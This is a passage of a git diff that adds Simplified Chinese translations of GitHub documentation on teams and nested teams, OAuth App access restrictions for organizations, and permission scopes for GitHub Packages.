LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." +还可以使用 LDAP 同步根据确定的 LDAP 组同步 {% data variables.product.product_location %} 团队成员和团队角色。 这使你能够从 LDAP 服务器为用户建立基于角色的访问控制,而不是在 {% data variables.product.product_location %} 中手动建立。 有关详细信息,请参阅“[启用 LDAP 同步](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)”。 {% endif %} {% data reusables.organizations.team-synchronization %} -## Team visibility +## 团队可见性 {% data reusables.organizations.types-of-team-visibility %} -You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)." +您可以在个人仪表板上查看您所属的所有团队。 有关详细信息,请参阅“[关于个人仪表板](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)”。 -## Team pages +## 团队页面 -Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. +每个团队都在组织中有自己的页面。 在团队的页面上,您可以查看团队成员、子团队和团队的仓库。 组织所有者和团队维护员可从团队页面访问团队设置以及更新团队的说明和头像。 -Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." +组织成员可以创建和参与团队讨论。 有关详细信息,请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”。 -![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png) +![列出团队成员和讨论的团队页面](/assets/images/help/organizations/team-page-discussions-tab.png) -## Nested teams +## 嵌套团队 -You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. +您可以在 {% data variables.product.product_name %} 组织中通过多级嵌套团队反映您的组或公司的层级。 父级团队可具有多个子级团队,而每个子级团队只有一个父级团队。 不可嵌套机密团队。 -Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. +子级团队会继承父级团队的访问权限,这简化了大型组的权限管理。 当父团队被 @提及时,子团队的成员也会收到通知,这简化了与多组人员的通信。 -For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. +例如,如果您的团队结构是“员工 > 工程 > 应用工程 > 身份”,则向“工程”授予对仓库的写入权限意味着“应用工程”和“身份”也会获得该访问权限。 如果你 @提及标识团队或组织层次结构底部的任何团队,则它们将是唯一会收到通知的团队。 -![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png) +![包含父团队和子团队的团队页面](/assets/images/help/teams/nested-teams-eng-example.png) -To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. +要轻松了解谁共享父团队的权限和提及,可以在父团队页面的 Members(成员)选项卡上查看其子团队的所有成员。 子团队的成员不是父团队的直接成员。 -![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png) +![包含子团队所有成员的父团队页面](/assets/images/help/teams/team-and-subteam-members.png) -You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." +在创建团队时您可以选择父团队,或者以后在组织的层次结构中移动团队。 有关详细信息,请参阅“[在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organization-s-hierarchy)”。 {% data reusables.enterprise_user_management.ldap-sync-nested-teams %} -## Preparing to nest teams in your organization +## 准备在组织中嵌套团队 -If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. +如果您的组织已经有团队,则在其上面或下面嵌套团队之前,应审计每个团队的仓库访问权限。 也应考虑要为组织实施的新结构。 -At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. +在团队层次结构的顶部,应向父团队授予对父团队及其子团队每个成员都安全的仓库访问权限。 随着在向层次结构底部的移动,可以更细致地向子团队成员授予访问敏感仓库的其他权限。 -1. Remove all members from existing teams -2. Audit and adjust each team's repository access permissions and give each team a parent -3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access -4. Add people directly to teams +1. 从现有团队删除所有成员 +2. 审计并调整每个团队的仓库访问权限,并为每个团队指定一个父团队 +3. 创建需要的任何新团队,为每个新团队选择一个父团队,并向他们授予仓库访问权限 +4. 直接向团队添加人员 -## Further reading +## 延伸阅读 -- "[Creating a team](/articles/creating-a-team)" -- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" +- “[创建团队](/articles/creating-a-team)” +- “[将组织成员添加到团队](/articles/adding-organization-members-to-a-team)” diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md new file mode 100644 index 0000000000..fd4806c386 --- /dev/null +++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md @@ -0,0 +1,71 @@ +--- +title: 关于 OAuth App 访问限制 +intro: 组织可通过启用 {% data variables.product.prodname_oauth_apps %} 访问限制,选择哪些 {% data variables.product.prodname_oauth_app %} 可以访问其仓库及其他资源。 +redirect_from: +- /articles/about-third-party-application-restrictions +- /articles/about-oauth-app-access-restrictions +- /github/setting-up-and-managing-organizations-and-teams/about-oauth-app-access-restrictions +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: OAuth App access +ms.openlocfilehash: 43e12066ec9381a94fe45187d066300479aa495e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130346" +--- +## 关于 OAuth App 访问限制 + +当 {% data variables.product.prodname_oauth_app %} 访问限制启用后,组织成员无法授权 {% data variables.product.prodname_oauth_app %} 访问组织资源。 组织成员可以申请所有者批准他们想使用的 {% data variables.product.prodname_oauth_apps %},并且组织所有者会收到待处理申请的通知。 + +{% data reusables.organizations.oauth_app_restrictions_default %} + +{% tip %} + +**提示**:当组织尚未设置 {% data variables.product.prodname_oauth_app %} 访问限制时,组织成员授权的任何 {% data variables.product.prodname_oauth_app %} 也可访问组织的专用资源。 + +{% endtip %} + +{% ifversion fpt %} 为了进一步保护你的组织资源,你可以升级到 {% data variables.product.prodname_ghe_cloud %},其中包括安全功能,如 SAML 单点登录。 {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} + +## 设置 {% data variables.product.prodname_oauth_app %} 访问限制 + +当组织所有者第一次设置 {% data variables.product.prodname_oauth_app %} 访问限制时: + +- 组织拥有的应用程序会自动获得对组织资源的访问权限。 +- {% data variables.product.prodname_oauth_apps %} 会立即失去对组织资源的访问权限。 +- 2014 年 2 月之前创建的 SSH 密钥会立即失去对组织资源(包括用户和部署密钥)的访问权限。 +- {% data variables.product.prodname_oauth_apps %} 在 2014 年 2 月期间或以后创建的 SSH 密钥会立即失去对组织资源的访问权限。 +- 来自专用组织存储库的挂钩不再发送到未批准的 {% data variables.product.prodname_oauth_apps %}。 +- 对专用组织资源的 API 访问不适用于未批准的 {% data variables.product.prodname_oauth_apps %}。 此外,也没有在公共资源资源上执行创建、更新或删除操作的权限。 +- 用户创建的挂钩和 2014 年 5 月之前创建的挂钩不受影响。 +- 组织拥有的存储库的专用复刻需遵守组织的访问限制。 + +## 解决 SSH 访问失败 + +当 2014 年 2 月之前创建的 SSH 密钥因 {% data variables.product.prodname_oauth_app %} 访问限制启用而失去对组织的访问权限时,后续 SSH 访问尝试就会失败。 用户将会收到错误消息,将他们导向至可以批准密钥或在其位置上传可信密钥的 URL。 + +## Webhook + +当 {% data variables.product.prodname_oauth_app %} 在限制启用后被授予对组织的访问权限时,该 {% data variables.product.prodname_oauth_app %} 创建的任何原有 web 挂钩会继续分发。 + +当组织从之前批准的 {% data variables.product.prodname_oauth_app %} 删除访问权限时,该应用程序创建的任何原有 web 挂钩不再分发(这些挂钩将被禁用,但不会删除)。 + +## 重新启用访问限制 + +如果组织禁用 {% data variables.product.prodname_oauth_app %} 访问应用程序限制,后来又重新启用它们,则之前批准的 {% data variables.product.prodname_oauth_app %} 会被自动授予访问组织资源的权限。 + +## 延伸阅读 + +- [为组织启用 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/enabling-oauth-app-access-restrictions-for-your-organization) +- [为组织批准 {% data variables.product.prodname_oauth_apps %}](/articles/approving-oauth-apps-for-your-organization) +- [审查组织安装的集成](/articles/reviewing-your-organization-s-installed-integrations) +- [拒绝访问先前为组织批准的 {% data variables.product.prodname_oauth_app %}](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization) +- [为组织禁用 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/disabling-oauth-app-access-restrictions-for-your-organization) +- [请求组织批准 {% data variables.product.prodname_oauth_apps %}](/articles/requesting-organization-approval-for-oauth-apps) +- [授权 {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md new file mode 100644 index 0000000000..330104c352 --- /dev/null +++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md @@ -0,0 +1,32 @@ +--- +title: 批准组织的 OAuth Apps +intro: 当组织成员申请 {% data variables.product.prodname_oauth_app %} 访问组织资源时,组织所有者可以批准或拒绝该申请。 +redirect_from: +- /articles/approving-third-party-applications-for-your-organization +- /articles/approving-oauth-apps-for-your-organization +- /github/setting-up-and-managing-organizations-and-teams/approving-oauth-apps-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Approve OAuth Apps +ms.openlocfilehash: b4f8f81b9ad773af86c7e2b488459d8865de3a49 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130343" +--- +启用 {% data variables.product.prodname_oauth_app %} 访问限制后,组织成员必须先向组织所有者[申请批准](/articles/requesting-organization-approval-for-oauth-apps),然后才能授权有权访问组织资源的 {% data variables.product.prodname_oauth_app %}。 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. 在要批准的应用程序旁边,单击“查看”。 +![查看请求链接](/assets/images/help/settings/settings-third-party-approve-review.png) +6. 查看有关请求的应用程序的信息后,单击“授权访问”。 +![“授权访问”按钮](/assets/images/help/settings/settings-third-party-approve-grant.png) + +## 延伸阅读 + +- [关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions) diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md new file mode 100644 index 0000000000..3c7b51fc8d --- /dev/null +++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md @@ -0,0 +1,26 @@ +--- +title: 拒绝此前批准的 OAuth 应用程序对组织的访问权限 +intro: 如果组织不再需要之前授权的 {% data variables.product.prodname_oauth_app %},所有者可删除此应用程序对组织资源的访问权限。 +redirect_from: +- /articles/denying-access-to-a-previously-approved-application-for-your-organization +- /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization +- /github/setting-up-and-managing-organizations-and-teams/denying-access-to-a-previously-approved-oauth-app-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Deny OAuth App +ms.openlocfilehash: bcdbe48debe120d2f13f78a429d35c311343f26c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130342" +--- +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. 在要禁用的应用程序旁边,单击 {% octicon "pencil" aria-label="The edit icon" %}。 + ![“编辑”图标](/assets/images/help/settings/settings-third-party-deny-edit.png) +6. 单击“拒绝访问”。 + ![“拒绝确认”按钮](/assets/images/help/settings/settings-third-party-deny-confirm.png) diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md new file mode 100644 index 0000000000..6f6c3fa8f5 --- /dev/null +++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md @@ -0,0 +1,32 @@ +--- +title: 禁用 OAuth 应用程序对您的组织的访问权限限制 +intro: 组织所有者可禁用对拥有组织资源访问权限的 {% data variables.product.prodname_oauth_apps %} 的限制。 +redirect_from: +- /articles/disabling-third-party-application-restrictions-for-your-organization +- /articles/disabling-oauth-app-access-restrictions-for-your-organization +- /github/setting-up-and-managing-organizations-and-teams/disabling-oauth-app-access-restrictions-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Disable OAuth App +ms.openlocfilehash: 41fae63d8d491eec7a6cd6a275958d5c96fb5f5c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130341" +--- +{% danger %} + +警告:禁用 {% data variables.product.prodname_oauth_app %} 对组织的访问权限限制后,任何组织成员批准某一应用程序使用其私有帐户设置时,将自动授予 {% data variables.product.prodname_oauth_app %} 对组织私有资源的访问权限。 + +{% enddanger %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. 单击“删除限制”。 + ![“删除限制”按钮](/assets/images/help/settings/settings-third-party-remove-restrictions.png) +6. 审查有关禁用第三方应用程序限制的信息后,请单击“是,删除应用程序限制”。 + ![删除确认按钮](/assets/images/help/settings/settings-third-party-confirm-disable.png) diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md new file mode 100644 index 0000000000..23091268c4 --- /dev/null +++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md @@ -0,0 +1,37 @@ +--- +title: 对组织启用 OAuth App 访问限制 +intro: 组织所有者可启用 {% data variables.product.prodname_oauth_app %} 访问限制,以便在组织成员在其个人账户上使用允许 {% data variables.product.prodname_oauth_apps %} 的同时,防止不受信任的应用程序访问组织的资源。 +redirect_from: +- /articles/enabling-third-party-application-restrictions-for-your-organization +- /articles/enabling-oauth-app-access-restrictions-for-your-organization +- /github/setting-up-and-managing-organizations-and-teams/enabling-oauth-app-access-restrictions-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Enable OAuth App +ms.openlocfilehash: 7ae5885530f449c8ce9981067b0d0fe8b23af0d9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130339" +--- +{% data reusables.organizations.oauth_app_restrictions_default %} + +{% warning %} + +**警告**: +- 启用 {% data variables.product.prodname_oauth_app %} 访问限制将撤销对所有之前已授权 {% data variables.product.prodname_oauth_apps %} 和 SSH 密钥的组织访问权限。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions)”。 +- 在设置 {% data variables.product.prodname_oauth_app %} 访问限制后,确保重新授权任何需要持续访问组织私有数据的 {% data variables.product.prodname_oauth_app %}。 所有组织成员将需要创建新的 SSH 密钥,并且组织将需要根据需要创建新的部署密钥。 +- 启用 {% data variables.product.prodname_oauth_app %} 访问限制后,应用程序可以使用 OAuth 令牌访问有关 {% data variables.product.prodname_marketplace %} 事务的信息。 + +{% endwarning %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.oauth_app_access %} +5. 在“第三方应用程序访问策略”下,单击“设置应用程序访问限制”。 + ![设置限制按钮](/assets/images/help/settings/settings-third-party-set-up-restrictions.png) +6. 审查有关第三方访问限制的信息后,单击“限制第三方应用程序访问”。 + ![限制确认按钮](/assets/images/help/settings/settings-third-party-restrict-confirm.png) diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/index.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/index.md new file mode 100644 index 0000000000..e088b871bd --- /dev/null +++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/index.md @@ -0,0 +1,27 @@ +--- +title: 限制对组织数据的访问 +intro: '{% data variables.product.prodname_oauth_app %} 访问限制允许组织所有者限制不受信任的应用程序访问组织的数据。 然后,组织成员可对其个人用户帐户使用 {% data variables.product.prodname_oauth_apps %},同时保证组织数据安全。' +redirect_from: +- /articles/restricting-access-to-your-organization-s-data +- /articles/restricting-access-to-your-organizations-data +- /github/setting-up-and-managing-organizations-and-teams/restricting-access-to-your-organizations-data +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +children: +- /about-oauth-app-access-restrictions +- /enabling-oauth-app-access-restrictions-for-your-organization +- /disabling-oauth-app-access-restrictions-for-your-organization +- /approving-oauth-apps-for-your-organization +- /denying-access-to-a-previously-approved-oauth-app-for-your-organization +shortTitle: Restrict access to organization data +ms.openlocfilehash: c4d45a93f4fb45adc65dc04151bd58b6ee823344 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130338" +--- diff --git a/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md index 2f7d1ff02a..94068a5b09 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md +++ b/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md @@ -1,6 +1,6 @@ --- -title: About permissions for GitHub Packages -intro: Learn about how to manage permissions for your packages. +title: 关于 GitHub Packages 的权限 +intro: 了解如何管理包的权限。 product: '{% data reusables.gated-features.packages %}' versions: fpt: '*' @@ -8,91 +8,90 @@ versions: ghae: '*' ghec: '*' shortTitle: About permissions +ms.openlocfilehash: 0159cee64d6faaeffe6257c9dc589f9fcda7a0ba +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193079' --- +{% ifversion packages-registries-v2 %} 包的权限可以将范围限定为用户、组织或存储库。 -{% ifversion packages-registries-v2 %} -The permissions for packages can be scoped either to a user or an organization or to a repository. +## 用户/组织作用域包的精细权限 -## Granular permissions for user/organization-scoped packages +具有精细权限的包仅限于个人用户或组织帐户。 您可以从与包相连(或链接)的仓库分别更改包的访问控制和可见性。 -Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package. +以下 {% data variables.product.prodname_registry %} 注册表支持精细权限。 -The following {% data variables.product.prodname_registry %} registries support granular permissions. - -- {% data variables.product.prodname_container_registry %} -{% ifversion packages-npm-v2 %}- npm registry{% endif %} -{% ifversion packages-nuget-v2 %}- NuGet registry{% endif %} +- {% data variables.product.prodname_container_registry %} {% ifversion packages-npm-v2 %}- npm 注册表{% endif %} {% ifversion packages-nuget-v2 %}- NuGet 注册表{% endif %} {% endif %} -## Permissions for {% ifversion packages-registries-v2 %}repository-scoped {% endif %}packages +## {% ifversion packages-registries-v2 %}存储库范围的{% endif %}包的权限 -A {% ifversion packages-registries-v2 %}repository-scoped {% endif %}package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %} +{% ifversion packages-registries-v2 %}存储库范围的{% endif %}包会继承拥有包的存储库的权限和可见性。 通过转到存储库的主页并单击页面右侧的“包”链接,可以找到范围限定为存储库的包。 {% ifversion fpt or ghec %}有关详细信息,请参阅“[将存储库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”。{% endif %} -{% ifversion packages-registries-v2 %} -The following {% data variables.product.prodname_registry %} registries **only** support repository-scoped permissions. +{% ifversion packages-registries-v2 %}以下 {% data variables.product.prodname_registry %} 注册表仅支持存储库范围的权限。 -{% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %} -{% ifversion packages-npm-v2 %}{% else %}- npm registry{% endif %} -- RubyGems registry -- Apache Maven registry -- Gradle registry -{% ifversion packages-nuget-v2 %}{% else %}- NuGet registry{% endif %} +{% ifversion not fpt or ghec %}- Docker 注册表 (`docker.pkg.github.com`){% endif %} {% ifversion packages-npm-v2 %}{% else %}- npm 注册表{% endif %} +- RubyGems 注册表 +- Apache Maven 注册表 +- Gradle 注册表 {% ifversion packages-nuget-v2 %}{% else %}- NuGet 注册表{% endif %} -For {% ifversion ghes %}the {% data variables.product.prodname_container_registry %}{% else %}other registries{% endif %}, you can choose to allow packages to be scoped to a user or an organization, or linked to a repository. {% ifversion docker-ghcr-enterprise-migration %}For information about migration to the {% data variables.product.prodname_container_registry %}, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)."{% endif %} +对于 {% ifversion ghes %} {% data variables.product.prodname_container_registry %}{% else %}其他注册表{% endif %},可以选择允许将包的范围限定为用户或组织,或链接到存储库。 {% ifversion docker-ghcr-enterprise-migration %}有关迁移到 {% data variables.product.prodname_container_registry %} 的详细信息,请参阅“[从 Docker 注册表迁移到 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)”。{% endif %} {% endif %} {% ifversion packages-registries-v2 %} -## Visibility and access permissions for container images +## 容器映像的可见性和访问权限 {% data reusables.package_registry.visibility-and-access-permissions %} -For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." +有关详细信息,请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)“。 {% endif %} -## About scopes and permissions for package registries +## 管理包 {% data reusables.package_registry.packages-classic-pat-only %} -To use or manage a package hosted by a package registry, you must use a {% data variables.product.pat_v1 %} with the appropriate scope, and your personal account must have appropriate permissions. +要使用或管理由包注册表托管的包,必须使用具有适当范围的 {% data variables.product.pat_v1 %},并且个人帐户必须具有适当的权限。 -For example: -- To download and install packages from a repository, your {% data variables.product.pat_v1 %} must have the `read:packages` scope, and your user account must have read permission. -- {% ifversion fpt or ghes or ghec %}To delete a package on {% data variables.product.product_name %}, your {% data variables.product.pat_v1 %} must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your {% data variables.product.pat_v1 %} must have the `delete:packages` and `repo` scope. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %} +例如: +- 要从存储库下载和安装包,你的 {% data variables.product.pat_v1 %} 必须具有 `read:packages` 范围,并且用户帐户必须具有读取权限。 +- {% ifversion fpt or ghes or ghec %}要删除 {% data variables.product.product_name %} 上的包,{% data variables.product.pat_v1 %} 必须至少具有 `delete:packages` 和 `read:packages` 范围。 存储库范围的包也需要 `repo` 范围。 有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。{% elsif ghae %}要删除 {% data variables.product.product_name %} 上的包的指定版本,{% data variables.product.pat_v1 %} 必须具有 `delete:packages` 和 `repo` 范围。 有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。{% endif %} -| Scope | Description | Required permission | +| 作用域 | 说明 | 必需的权限 | | --- | --- | --- | -|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read | -|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write | -| `delete:packages` | {% ifversion fpt or ghes or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin | -| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin | +|`read:packages`| 从 {% data variables.product.prodname_registry %} 下载和安装包 | 读取 | +|`write:packages`| 将包上传和发布到 {% data variables.product.prodname_registry %} | 写入 | +| `delete:packages` | {% ifversion fpt or ghes or ghec %} 从 {% data variables.product.prodname_registry %} 中删除包{% elsif ghae %} 从 {% data variables.product.prodname_registry %} 从删除包的指定版本{% endif %} | 管理员 | +| `repo` | 上传和删除包(连同 `write:packages` 或 `delete:packages`)。 | 写入或管理员 | -When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}. +创建 {% data variables.product.prodname_actions %} 工作流时,可使用 `GITHUB_TOKEN` 发布和安装 {% data variables.product.prodname_registry %} 中的包,无需存储和管理 {% data variables.product.pat_generic %}。 -For more information, see:{% ifversion fpt or ghec %} -- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %} -- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)" -- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token/)" -- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" +更多信息请参阅:{% ifversion fpt or ghec %} +- “[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”{% endif %} +- “[使用 {% data variables.product.prodname_actions %} 发布和安装包](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)” +- [创建 {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token/) +- “[可用的范围](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)” -## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows +## 在 {% data variables.product.prodname_actions %} 工作流程中维持对包的访问权限 -To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package. +为了确保工作流程将保持对包的访问,请确保在工作流程中使用正确的访问令牌,并启用了 {% data variables.product.prodname_actions %} 对包的访问权限。 -For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)." +有关 {% data variables.product.prodname_actions %} 的更多概念背景或在工作流中使用包的示例,请参阅“[使用 GitHub Actions 工作流管理 GitHub Packages](/packages/managing-github-packages-using-github-actions-workflows)”。 -### Access tokens +### 访问令牌 -- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`. -- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a {% data variables.product.pat_v1 %} +- 要发布与工作流存储库相关联的包,请使用 `GITHUB_TOKEN`。 +- 要安装与 `GITHUB_TOKEN` 无法访问的其他专用存储库相关联的包,请使用 {% data variables.product.pat_v1 %} -For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." +有关 {% data variables.product.prodname_actions %} 工作流中使用的 `GITHUB_TOKEN` 的详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)”。 {% ifversion fpt or ghec %} -### {% data variables.product.prodname_actions %} access for container images +### 容器映像的 {% data variables.product.prodname_actions %} 访问权限 -To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)." +要确保工作流程有权访问容器映像,您必须启用 {% data variables.product.prodname_actions %} 访问运行工作流程的仓库。 您可以在包的设置页面上找到此设置。 有关详细信息,请参阅“[确保工作流访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)”。 